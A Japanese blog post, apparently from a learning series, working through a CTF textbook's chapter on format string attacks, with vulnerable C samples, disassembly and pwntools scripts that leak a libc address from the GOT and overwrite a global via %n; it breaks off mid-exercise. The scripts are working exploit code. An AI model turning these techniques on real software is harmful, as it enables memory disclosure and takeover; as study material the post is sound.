以下の内容はhttps://daisuke20240310.hatenablog.com/entry/shokai_vulnfuncより取得しました。


書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ

前回 は、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。

前回は、32章の「共有ライブラリと関数呼び出し」でした。34章の「ヒープベースエクスプロイト」は、次回に回して、今回は、35章の「仕様に起因する脆弱性」を読んでいきたいと思います。

35章の「仕様に起因する脆弱性」では、書式文字列攻撃を取り扱っています。picoCTF 2025 の Binary Exploitation で、書式文字列攻撃の問題が出たのですが、エクスプロイトコードをうまく実装できなかったので、こちらを先に読んでいきたいと思います。

それでは、やっていきます。

参考文献

今回、題材にさせて頂いた「詳解セキュリティコンテスト」です。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ ← 今回

以下は「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」のサポートサイトです。問題ファイルをダウンロードすることが出来ます。

book.mynavi.jp

では、書籍の章を参考に書き進めていきます。

35章:仕様に起因する脆弱性

35章の仕様に起因する脆弱性は、約20ページの分量です。

35.1:書式文字列

35.1.1:書式文字列の利用

書式文字列とは、printf("Hello %s! (%d)\n", "hoge", 123); の第1引数に与えた文字列のことです。%s や、%d のような % で始まる部分は、変換指定と呼ばれます。

ここでは、様々な変換指定について、基本的な内容が解説されています。

要点としては、printf関数などで、%m$(m は 10進数の整数)と指定すると、引数の位置を指定することが出来ます。

また、最小フィールド幅(%4d など)は、* 記号を使うことで引数から与えることが出来ます。さらに、最小フィールド幅の引数の位置を %*m$ を使うことで指定することが出来ます。

精度の指定について、小数の場合、小数点以下の桁数を指定可能です。文字列で精度を指定した場合、ヌル文字で終端しなくていいそうです。

これらを試すソースコードです。

#include <stdio.h>

int main( int argc, char *argv[] )
{
    // 引数の位置を %m$ で指定可能
    printf( "[%4$d] [%2$d] %d [%3$d] %d [%3$d] [%1$d]\n\n", 1, 2, 3, 4 );
    
    // * により、引数で、最小フィールド幅を指定可能
    printf( "%0*x\n\n", 16, 0xdeadbeef );
    
    // *m$ で、最小フィールド幅の引数の位置を指定可能
    printf( "%0*2$x\n\n", 0xbeef, 8 );
    
    // 小数の精度として、小数点以下の桁数を指定可能
    printf( "%.4f\n\n", 3.141592 );
    
    // 文字列の精度指定の場合、ヌル文字で終端しなくていい
    printf( "%.8s\n\n", "aaaabbbbccccdddd" );
    
    // 最小フィールド幅の引数の位置指定と精度の引数の位置指定
    printf( "%*3$.*2$s\n\n", "xxxxyyyyzzzz", 8, 16 );
}

コンパイルして、実行します。

$ gcc -o example_35_11_and_35_13.out example_35_11_and_35_13.c

$ ./example_35_11_and_35_13.out
[4] [2] 1 [3] 2 [3] [1]

00000000deadbeef

0000beef

3.1416

aaaabbbb

        xxxxyyyy
35.1.2:書式文字列攻撃(メモリの読み出し)

以下の記事で書式文字列攻撃については一通りやりましたので、基本的な内容は割愛します。

簡単に言うと、printf関数などで、%m$ で、引数の位置を指定できますが、実際にその引数が指定されてなかった場合、レジスタやスタックの値が出力されます。これを使って、ある程度の任意のアドレスのメモリの内容を出力できます。

daisuke20240310.hatenablog.com

この章の例題のソースコードで、知らなかった内容があったので、メモしておきます。以下のソースコードです。scanf("%ms", &buf); は、動的メモリ確保付きの scanf関数だそうです。入力された文字列のサイズに応じて、malloc関数でメモリを確保し、そのポインタが buf に格納されるそうです。

#include <stdio.h>

int main(void){
    char *buf;
    char *secret = "SECRET_KEY";

    setbuf(stdout, NULL);
    scanf("%ms", &buf);
    printf(buf);
}

次は、以下のソースコードの例題をやってみます。スタック上の任意の内容を読み出すことが出来る脆弱性があります。書式文字列攻撃で、メモリの内容を読み出します。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(void){
    char buf[0x50] = {};
    unsigned long lv = 0xdeadbeef;

    setbuf(stdout, NULL);
    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);
    printf("\nBye!");
}

プログラムバイナリが提供されていますので、表層解析を行っておきます。

$ file fsb_aarw
fsb_aarw: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=72a41d60b183fa67de746ce6306e4df67e5a936b, for GNU/Linux 3.2.0, with debug_info, not stripped

$ ~/bin/checksec --file=fsb_aarw
RELRO          STACK CANARY  NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  Canary found  NX enabled  No PIE  No RPATH  No RUNPATH  72 Symbols  No       0          2            fsb_aarw

$ pwn checksec --file=fsb_aarw
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

先に、アセンブラを確認します。入力した文字列は buf に格納されます。

pwndbg> disassemble
Dump of assembler code for function main:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   rbp
   0x000000000040119b <+5>:     mov    rbp,rsp
   0x000000000040119e <+8>:     sub    rsp,0x70
=> 0x00000000004011a2 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004011ab <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011af <+25>:    xor    eax,eax
   0x00000000004011b1 <+27>:    mov    QWORD PTR [rbp-0x60],0x0
   0x00000000004011b9 <+35>:    mov    QWORD PTR [rbp-0x58],0x0
   0x00000000004011c1 <+43>:    mov    QWORD PTR [rbp-0x50],0x0
   0x00000000004011c9 <+51>:    mov    QWORD PTR [rbp-0x48],0x0
   0x00000000004011d1 <+59>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004011d9 <+67>:    mov    QWORD PTR [rbp-0x38],0x0
   0x00000000004011e1 <+75>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004011e9 <+83>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004011f1 <+91>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004011f9 <+99>:    mov    QWORD PTR [rbp-0x18],0x0
   0x0000000000401201 <+107>:   mov    eax,0xdeadbeef
   0x0000000000401206 <+112>:   mov    QWORD PTR [rbp-0x68],rax
   0x000000000040120a <+116>:   mov    rax,QWORD PTR [rip+0x2e37]        # 0x404048 <stdout@@GLIBC_2.2.5>
   0x0000000000401211 <+123>:   mov    esi,0x0
   0x0000000000401216 <+128>:   mov    rdi,rax
   0x0000000000401219 <+131>:   call   0x401080 <setbuf@plt>
   0x000000000040121e <+136>:   lea    rax,[rbp-0x60]
   0x0000000000401222 <+140>:   mov    edx,0x50
   0x0000000000401227 <+145>:   mov    rsi,rax
   0x000000000040122a <+148>:   mov    edi,0x0
   0x000000000040122f <+153>:   call   0x4010a0 <read@plt>
   0x0000000000401234 <+158>:   lea    rax,[rbp-0x60]
   0x0000000000401238 <+162>:   mov    rdi,rax
   0x000000000040123b <+165>:   mov    eax,0x0
   0x0000000000401240 <+170>:   call   0x401090 <printf@plt>
   0x0000000000401245 <+175>:   lea    rdi,[rip+0xdb8]        # 0x402004
   0x000000000040124c <+182>:   mov    eax,0x0
   0x0000000000401251 <+187>:   call   0x401090 <printf@plt>
   0x0000000000401256 <+192>:   mov    eax,0x0
   0x000000000040125b <+197>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x000000000040125f <+201>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000401268 <+210>:   je     0x40126f <main+217>
   0x000000000040126a <+212>:   call   0x401070 <__stack_chk_fail@plt>
   0x000000000040126f <+217>:   leave
   0x0000000000401270 <+218>:   ret
End of assembler dump.

スタックの可視化を行っておきます。

アドレス サイズ 内容
rbp - 0x70 8 空き(rsp)
rbp - 0x68 8 lv(0xdeadbeef)
rbp - 0x60 80 buf
rbp - 0x10 8 空き
rbp - 0x08 8 canary
rbp

以前、書式文字列攻撃をやったときは、エクスプロイトコードを書かずに、コマンドラインからプログラムに引数を与えていました。今回は、エクスプロイトコードを書いてやってみます。実装したソースコードです(いろいろデバッグ用のコードが入っています)。

#!/usr/bin/env python3
from pwn import *

bin_file = './fsb_aarw'
context( os = 'linux', arch = 'amd64' )
# context.log_level = 'debug'

binf              = ELF( bin_file )
addr_main_offset  = binf.functions['main'].address
addr_got_setbuf   = binf.got['setbuf']
addr_bss          = binf.bss()

info( f"addr_main_offset=0x{addr_main_offset:08X}, addr_got_setbuf=0x{addr_got_setbuf:08X}" ) # hex(addr_got_setbuf)の方がいいかも

def attack( proc, **kwargs ):
    
    if False:
        # AAAAAAAA が出現する位置を確認する
        proc.sendline( b'AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' )
        info( proc.recv().decode() )
        
        exit()
    
    elif False:
        # 位置が正しいことを確認するため、アドレスを出力する
        proc.sendline( b'%9$p'.ljust(8, b' ') + p64(0x404020) )
        info( proc.recv().decode() )
        
        exit()
    
    else:
        # GOT (0x404020) の値を出力する
        proc.sendline( b'%9$s'.ljust(8, b' ') + p64(0x404020) )
        if False:
            ret = proc.recvregex( b'([0-9a-f]+)', capture=True )
            info( f"0x{int(ret.group(0).decode(), 16)}" )
            info( f"0x{int(ret.group(1).decode(), 16)}" )
            #info( f"0x{u64(ret.group(0))}" )
        elif False:
            info( f"0x{int(proc.recv().strip(), 16)}" )
        elif True:
            tmp = u64( proc.recv(6) + b'\x00\x00' )
            info( hex(tmp) )
        
        #info( proc.recv().decode() ) # エラーが出るため、decode() を削除

def main():
    
    adrs = "shape-facility.picoctf.net"
    #adrs = "localhost"
    port = 51556
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    proc = process( bin_file )
    #proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

今回の C言語のソースコードでは、setbuf関数が使われています。この setbuf関数の GOT の中のアドレスを読み出すことを目的にします。setbuf関数は libc に含まれます。libc が配置されるアドレスは、ASLR によってランダムになります。

では、まずは、%p をたくさん与えてみます。b'AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' を与えます。以下が実行結果です。

第1引数は、この書式文字列で、第2引数から第6引数まではレジスタが使われ、第7引数以降はスタックが使われます。(nil)0xdeadbeef の 2つの後に、AAAAAAAA が出現しました。これは第9引数です。つまり、AAAAAAAA の代わりに、読み出したいアドレスを与えて、%8$s と指定すれば、読み出したいアドレスに格納された値が読み出せるということになります。第9引数なのに、%8$s と指定するのは、%m$ の m は、書式文字列の次の引数からの位置を指定する値だからです(最初の %p は m に 1 と設定するということ)。

$ python exploit_fsb_aarw.py 
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] addr_main_offset=0x00401196, addr_got_setbuf=0x00404020
[+] Starting local process './fsb_aarw': pid 319915
[*] AAAAAAAA,0x7ffe611a4890,0x50,0x7f36d829819d,0x4012f0,0x7f36d83a0680,(nil),0xdeadbeef,0x4141414141414141,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c
    
    Bye!
[*] Process './fsb_aarw' stopped with exit code 0 (pid 319915)

次は、正しい位置を指定できているかを確認するために、分かっている値を出力させます。具体的には、b'%9$p'.ljust(8, b' ') + p64(0x404020) を送り、&buf[8] の位置に、b'\x20\x40\x40\x00\x00\x00\x00\x00\x を置きます。

p64(0x404020) を後ろに置いている理由は、8byte のアドレスなので、0 を含むため、これを printf関数がヌル文字と認識して、書式文字列がそこで終わっている(終端)と思わないようにするためです。

%8$s ではなく、%9$p としている理由は、p64(0x404020) を後ろに置いたため、読み出したい位置が次の 8byte になるためです。.ljust(8, b' ') は、8byte にするためのパディングです。書籍では、.ljust(8, b'\x00') としていましたが、この 0 も終端と認識されないのかな?と思い、半角スペースにしています。

では、動かしてみます。想定した通り、0x404020 が出力されています。位置を正しく指定できているようです。

$ python exploit_fsb_aarw.py 
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] addr_main_offset=0x00401196, addr_got_setbuf=0x00404020
[+] Starting local process './fsb_aarw': pid 397738
[*] Process './fsb_aarw' stopped with exit code 0 (pid 397738)
[*] 0x404020     @@
    Bye!

では、最後に、0x404020 の値を出力します。今回は、0x7f06ba1372c0 という結果になりました。上でも言いましたが、libc に含まれる setbuf関数のアドレスは、ASLR によって、ランダムに配置されるため、今回出力されたアドレスは毎回変化します。

$ python exploit_fsb_aarw.py
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] addr_main_offset=0x00401196, addr_got_setbuf=0x00404020
[+] Starting local process './fsb_aarw': pid 1998
[*] Process './fsb_aarw' stopped with exit code 0 (pid 1998)
[*] 0x7f06ba1372c0
35.1.2:書式文字列攻撃(メモリの書き込み)

次は、任意のアドレスのメモリの内容を書き換えることが出来る書式文字列攻撃です。printf関数などで、%m$n(m は 10進数の整数)と指定すると、mで指定した引数の位置に、それまでに出力した文字数の値を設定する(書き込みする)ことが出来ます。

書式文字列攻撃による、ある程度の任意の位置のメモリの書き換えについても、以下の記事でやりましたので、基本的な内容については割愛します。

daisuke20240310.hatenablog.com

35.1.2:書式文字列攻撃(発展:スタック上の値を利用した書き込み)

「発展:スタック上の値を利用した書き込み」をやります。

発展編だけあって、なかなか難しい内容です。

まず、ソースコードの内容です。グローバル変数の key と、ローカル変数の secret があります。それぞれに、/dev/urandom からランダムな値を設定します。read関数でユーザ入力を受け付けて、printf(buf); で、書式文字列攻撃が可能です。最終的に、key と secret を一致させて、"Correct!" という出力を得られたら成功です。

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

unsigned long key;

int main(void){
    char buf[0x30] = {};
    unsigned long secret = 0;
    int fd;

    if((fd = open("/dev/urandom", O_RDONLY)) < 0)
        return -1;
    read(fd, &secret, 3);
    read(fd, &key, 3);
    close(fd);

    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);

    printf("\nsecret = %#08lx\nkey    = %#08lx\n", secret, key);
    puts(key^secret ? "Wrong key..." : "Correct!");
}

普通に考えたら、key と secret には別のランダムな値が設定されるので、一致することはありません。書式文字列攻撃を使うので、やりやすさを考えると、スタックの方の secret の値を読み出して、その値を、グローバル変数の key に書き込むことになりそうです。書式文字列攻撃を実行できる機会が 2回あれば、これまでの延長上なのでやれそうですが、書式文字列攻撃のチャンスは 1回だけです。

%*m$ を使うと、最小フィールド幅を引数で指定することが出来ます。secret の引数の位置を特定して、その引数を最小フィールド幅の指定に使えば良さそうです。つまり、secret の値の分だけのフィールド幅が設定されるので、その出力した文字数を使って、書式文字列攻撃で key に書き込めば出来そうです。

書籍では、コマンドラインで書式文字列を指定していますが、練習のためにも、Pythonコードで実装したいと思います。

プログラムバイナリ(fsb_random)が提供されているので、まずは、表層解析をやっていきます。

$ file fsb_random
fsb_random: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=246d7d3bd9123ec1587eeb31f5380793939e833d, for GNU/Linux 3.2.0, with debug_info, not stripped

$ ~/bin/checksec --file=fsb_random
RELRO          STACK CANARY  NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  Canary found  NX enabled  No PIE  No RPATH  No RUNPATH  74 Symbols  No       0          2            fsb_random

$ pwn checksec --file=fsb_random
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_random'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

アセンブラを確認します。

pwndbg> disassemble
Dump of assembler code for function main:
   0x00000000004011d6 <+0>:     endbr64
   0x00000000004011da <+4>:     push   rbp
   0x00000000004011db <+5>:     mov    rbp,rsp
   0x00000000004011de <+8>:     sub    rsp,0x50
=> 0x00000000004011e2 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004011eb <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011ef <+25>:    xor    eax,eax
   0x00000000004011f1 <+27>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004011f9 <+35>:    mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000401201 <+43>:    mov    QWORD PTR [rbp-0x30],0x0
   0x0000000000401209 <+51>:    mov    QWORD PTR [rbp-0x28],0x0
   0x0000000000401211 <+59>:    mov    QWORD PTR [rbp-0x20],0x0
   0x0000000000401219 <+67>:    mov    QWORD PTR [rbp-0x18],0x0
   0x0000000000401221 <+75>:    mov    QWORD PTR [rbp-0x48],0x0
   0x0000000000401229 <+83>:    mov    esi,0x0
   0x000000000040122e <+88>:    lea    rdi,[rip+0xdd3]        # 0x402008
   0x0000000000401235 <+95>:    mov    eax,0x0
   0x000000000040123a <+100>:   call   0x4010e0 <open@plt>
   0x000000000040123f <+105>:   mov    DWORD PTR [rbp-0x4c],eax
   0x0000000000401242 <+108>:   cmp    DWORD PTR [rbp-0x4c],0x0
   0x0000000000401246 <+112>:   jns    0x401252 <main+124>
   0x0000000000401248 <+114>:   mov    eax,0xffffffff
   0x000000000040124d <+119>:   jmp    0x4012fb <main+293>
   0x0000000000401252 <+124>:   lea    rcx,[rbp-0x48]
   0x0000000000401256 <+128>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x0000000000401259 <+131>:   mov    edx,0x3
   0x000000000040125e <+136>:   mov    rsi,rcx
   0x0000000000401261 <+139>:   mov    edi,eax
   0x0000000000401263 <+141>:   call   0x4010d0 <read@plt>
   0x0000000000401268 <+146>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x000000000040126b <+149>:   mov    edx,0x3
   0x0000000000401270 <+154>:   lea    rsi,[rip+0x2de9]        # 0x404060 <key>
   0x0000000000401277 <+161>:   mov    edi,eax
   0x0000000000401279 <+163>:   call   0x4010d0 <read@plt>
   0x000000000040127e <+168>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x0000000000401281 <+171>:   mov    edi,eax
   0x0000000000401283 <+173>:   call   0x4010c0 <close@plt>
   0x0000000000401288 <+178>:   lea    rax,[rbp-0x40]
   0x000000000040128c <+182>:   mov    edx,0x30
   0x0000000000401291 <+187>:   mov    rsi,rax
   0x0000000000401294 <+190>:   mov    edi,0x0
   0x0000000000401299 <+195>:   call   0x4010d0 <read@plt>
   0x000000000040129e <+200>:   lea    rax,[rbp-0x40]
   0x00000000004012a2 <+204>:   mov    rdi,rax
   0x00000000004012a5 <+207>:   mov    eax,0x0
   0x00000000004012aa <+212>:   call   0x4010b0 <printf@plt>
   0x00000000004012af <+217>:   mov    rdx,QWORD PTR [rip+0x2daa]        # 0x404060 <key>
   0x00000000004012b6 <+224>:   mov    rax,QWORD PTR [rbp-0x48]
   0x00000000004012ba <+228>:   mov    rsi,rax
   0x00000000004012bd <+231>:   lea    rdi,[rip+0xd54]        # 0x402018
   0x00000000004012c4 <+238>:   mov    eax,0x0
   0x00000000004012c9 <+243>:   call   0x4010b0 <printf@plt>
   0x00000000004012ce <+248>:   mov    rdx,QWORD PTR [rip+0x2d8b]        # 0x404060 <key>
   0x00000000004012d5 <+255>:   mov    rax,QWORD PTR [rbp-0x48]
   0x00000000004012d9 <+259>:   cmp    rdx,rax
   0x00000000004012dc <+262>:   je     0x4012e7 <main+273>
   0x00000000004012de <+264>:   lea    rax,[rip+0xd55]        # 0x40203a
   0x00000000004012e5 <+271>:   jmp    0x4012ee <main+280>
   0x00000000004012e7 <+273>:   lea    rax,[rip+0xd59]        # 0x402047
   0x00000000004012ee <+280>:   mov    rdi,rax
   0x00000000004012f1 <+283>:   call   0x401090 <puts@plt>
   0x00000000004012f6 <+288>:   mov    eax,0x0
   0x00000000004012fb <+293>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004012ff <+297>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000401308 <+306>:   je     0x40130f <main+313>
   0x000000000040130a <+308>:   call   0x4010a0 <__stack_chk_fail@plt>
   0x000000000040130f <+313>:   leave
   0x0000000000401310 <+314>:   ret
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x50 4 空き(rsp)
rbp - 0x4c 4 fd
rbp - 0x48 8 secret
rbp - 0x40 48 buf
rbp - 0x10 8 空き
rbp - 0x08 8 canary
rbp

まずは、secret の引数の位置として、%*m$ の m の値を考えます。引数は、まず 6個のレジスタが使われます。先頭は書式文字列なので、printf関数の変換指定としては、レジスタで 5個が使われます。次は、rsp から 8byteずつが使われていくので、変換指定の secret の位置は、7番目となります(%*7$c)。

次は、書き込みの方です。%m$n の m の値を考えます。ユーザ入力は、buf に格納されます。書式文字列の最初は、%*7$c%m$n となります。(m が 1文字なら)9文字なので、buf の先頭から 16byte のオフセットの位置に、key のアドレスを配置します。つまり、m は、10 となりそうです(%10$n)。

これを踏まえて、作成した Pythonコードです。

#!/usr/bin/env python3
from pwn import *

bin_file = './fsb_random'
context(os = 'linux', arch = 'amd64')

binf = ELF( bin_file )

def attack( proc, **kwargs ):
    
    proc.sendline( b'%*7$c%10$n'.ljust(0x10, b' ') + p64(binf.symbols['key']) )
    info( proc.recvall() )

def main():
    
    adrs = "shape-facility.picoctf.net"
    port = 51556
    #adrs = "localhost"
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    proc = process( bin_file )
    #proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

では、実行してみます。成功です!

$ python exploit_fsb_random.py 
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_random'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process './fsb_random': pid 395585
[+] Receiving all data: Done (550.72KB)
[*] Process './fsb_random' stopped with exit code 0 (pid 395585)
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*]                                                                                                           

(途中省略)

    secret = 0x089aa9
    key    = 0x089aa9
    Correct!
35.1.2:書式文字列攻撃(発展:二段階書き込み)

ソースコードです。

分かりにくいですね。下で実行してみてますが、やりたいことは、B の 0xcafeba00 を 0xcafebabe に書き換えて、A と B の両方が OK と出るようにしたいということです。

そのために、書式文字列攻撃を使います。書式文字列攻撃のメモリの書き換えは、書き換える領域のアドレスが、スタック上に格納されているとやりやすいです。現状は A のアドレスはローカル変数 p1 として定義されています。また、p1 を指すポインタの p2 も定義されています。

p1 が B を指してくれると書き換えが出来そうです。そのためには、最初に、p2 を使って、p1 が B を指すように書き換えます。次に、p1 を使って、0xcafeba00 を 0xcafebabe に書き換えます。これが出来れば良さそうです。

また、scanf("%ms", &buf); は、上でも出てきましたが、動的メモリ確保付きの scanf関数です。

#include <stdio.h>

unsigned long A = 0xdeadbeef;
unsigned long B = 0xcafeba00;

int main(void){
    char *buf;
    void *p1 = &A, *p2 = &p1;

    scanf("%ms", &buf);
    printf(buf);

    printf("\nA = %#08lx (%s)\nB = %#08lx (%s)\n",
         A, A^0xdeadbeef ? "NG" : "OK",
         B, B^0xcafebabe ? "NG" : "OK");
    return 0;
}

実行してみます。

$ ./fsb_twice
aaa
aaa
A = 0xdeadbeef (OK)
B = 0xcafeba00 (NG)

プログラムバイナリ(fsb_twice)が提供されています。まずは、表層解析です。PIE ではないです。

$ file ./fsb_twice
./fsb_twice: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f820125bd8302e5c1a5215be062d2b92a5074c8b, for GNU/Linux 3.2.0, with debug_info, not stripped

$ ~/bin/checksec --file=fsb_twice
RELRO          STACK CANARY  NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  Canary found  NX enabled  No PIE  No RPATH  No RUNPATH  72 Symbols  No       0          1            fsb_twice

$ pwn checksec --file=fsb_twice
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

アセンブラを確認します。

pwndbg> disassemble
Dump of assembler code for function main:
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   rbp
   0x000000000040117b <+5>:     mov    rbp,rsp
   0x000000000040117e <+8>:     sub    rsp,0x20
